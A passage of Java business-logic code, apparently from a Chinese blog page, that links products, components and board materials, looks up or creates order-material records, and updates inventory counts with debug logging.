"添加组件失败: 每张板材可生产数量必须大于0"); return OperationResult.error("每张板材可生产数量必须大于0"); } // 检查是否已存在关联 for (Chanpin_Zujian cz : product.getChanpin_zujian()) { if (cz.getZujian().equals(component) && cz.getBancai().equals(material)) { String msg = "组件 " + component.getName() + " 已添加到产品"; log(LOG_LEVEL_WARN, msg); return OperationResult.error(msg); } } // 创建产品-组件关联 Chanpin_Zujian cz = new Chanpin_Zujian(); cz.setChanpin(product); cz.setZujian(component); cz.setBancai(material); cz.setOne_howmany(componentsPerBoard); Data.add(cz); product.getChanpin_zujian().add(cz); log(LOG_LEVEL_INFO, "组件添加成功: " + component.getName() + " 使用板材: " + material.TableText() + " 每张生产: " + componentsPerBoard); return OperationResult.success(cz); } catch (Exception e) { log(LOG_LEVEL_ERROR, "添加组件失败: " + e.getMessage()); return OperationResult.error("添加组件失败: " + e.getMessage()); } } //=== 数据处理 ===// /** * 获取订单关联的产品列表 */ public List<Chanpin> getProductsForOrder(Dingdan order) { List<Chanpin> products = new ArrayList<>(); if (order != null) { for (Dingdan_chanpin dc : order.getDingdan_chanpin()) { products.add(dc.getChanpin()); } } log(LOG_LEVEL_DEBUG, "获取订单 " + (order != null ? order.getNumber() : "null") + " 关联的产品: " + products.size() + " 个"); return products; } /** * 获取产品关联的组件列表 */ public List<Zujian> getComponentsForProduct(Chanpin product) { List<Zujian> components = new ArrayList<>(); if (product != null) { for (Chanpin_Zujian cz : product.getChanpin_zujian()) { components.add(cz.getZujian()); } } log(LOG_LEVEL_DEBUG, "获取产品 " + (product != null ? product.getBianhao() : "null") + " 关联的组件: " + components.size() + " 个"); return components; } /** * 获取组件关联的板材列表 */ public List<Bancai> getMaterialsForComponent(Chanpin product, Zujian component) { List<Bancai> materials = new ArrayList<>(); if (product != null && component != null) { for (Chanpin_Zujian cz : product.getChanpin_zujian()) { if (cz.getZujian().equals(component)) { materials.add(cz.getBancai()); } } } log(LOG_LEVEL_DEBUG, "获取组件 " + (component != null ? component.getName() : "null") + " 关联的板材: " + materials.size() + " 种"); return materials; } //=== 私有辅助方法 ===// /** * 查找或创建订单-板材关联 */ private Dingdan_bancai findOrCreateDingdanBancai(Dingdan dingdan, Chanpin chanpin, Zujian zujian, Bancai bancai) { // 尝试查找现有关联 for (Dingdan_bancai db : Data.dingdan_bancais().getViewList()) { if (Objects.equals(db.getDingdan(), dingdan) && Objects.equals(db.getChanpin(), chanpin) && Objects.equals(db.getZujian(), zujian) && Objects.equals(db.getBancai(), bancai)) { log(LOG_LEVEL_DEBUG, "找到现有订单-板材关联"); return db; } } // 创建新的关联 log(LOG_LEVEL_DEBUG, "创建新订单-板材关联"); Dingdan_bancai newDb = new Dingdan_bancai(); newDb.setDingdan(dingdan); newDb.setChanpin(chanpin); newDb.setZujian(zujian); newDb.setBancai(bancai); newDb.setShuliang(0); Data.add(newDb); return newDb; } /** * 查找订单-板材关联 */ private Dingdan_bancai findDingdanBancai(Dingdan dingdan, Chanpin chanpin, Zujian zujian, Bancai bancai) { for (Dingdan_bancai db : Data.dingdan_bancais().getViewList()) { if (Objects.equals(db.getDingdan(), dingdan) && Objects.equals(db.getChanpin(), chanpin) && Objects.equals(db.getZujian(), zujian) && Objects.equals(db.getBancai(), bancai)) { return db; } } return null; } /** * 更新库存 */ private void updateKucun(Bancai bancai, int quantityDelta) { Kucun kucun = findOrCreateKucun(bancai); kucun.setShuliang(kucun.getShuliang() + quantityDelta); log(LOG_LEVEL_DEBUG, "更新库存: " + bancai.TableText() + " 数量变化: " + quantityDelta + " 新库存: " + kucun.getShuliang()); } /** * 查找或创建库存记录 */ private Kucun findOrCreateKucun(Bancai bancai) { for (Kucun k : Data.kucuns().getViewList()) { if (k.getBancai().equals(bancai)) { return k; } } // 创建新库存记录 Kucun newKucun = new Kucun(); newKucun.setBancai(bancai); newKucun.setShuliang(0); Data.add(newKucun); return newKucun; } } 类
07-02
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值